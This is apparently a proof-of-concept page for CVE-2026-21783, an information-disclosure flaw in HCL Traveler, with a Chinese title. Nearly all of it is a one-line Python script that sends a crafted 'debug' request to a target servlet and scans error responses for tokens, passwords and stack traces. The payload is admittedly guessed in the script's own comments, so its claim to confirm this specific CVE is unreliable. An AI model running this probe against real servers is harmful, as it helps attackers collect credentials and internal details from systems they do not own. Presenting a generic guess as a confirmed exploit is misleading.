CVE-2026-21783 HCL Traveler敏感信息泄露漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-hcl-traveler.com/servlet" # Headers to simulate a legitimate browser request (optional) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Payload designed to trigger an error or exception # This might be an invalid parameter, malformed JSON, or unexpected input malicious_payload = { "action": "invalid_action_trigger", "debug": "true" } try: # Send GET request with the payload response = requests.get(target_url, params=malicious_payload, headers=headers, timeout=10) # Check if the response status code indicates a server error (e.g., 500) if response.status_code >= 500: print("[+] Server error triggered (Status Code: {}).".format(response.status_code)) # Analyze response content for sensitive information leakage response_text = response.text sensitive_keywords = ["internal path", "stack trace", "token", "password", "exception", "at ", "file://"] found_info = False for keyword in sensitive_keywords: if keyword.lower() in response_text.lower(): print("[!] Potential sensitive information found: '{}'.".format(keyword)) found_info = True if found_info: print("[+] Vulnerability Confirmed: Sensitive information disclosed in error message.") # print("--- Response Snippet ---") # print(response_text[:500]) # Print first 500 chars for verification else: print("[-] Error triggered, but no obvious sensitive data leaked in response.") else: print("[-] Request did not trigger a server error. Status Code: {}".format(response.status_code)) except requests.exceptions.RequestException as e: print("[-] Request failed: {}".format(e))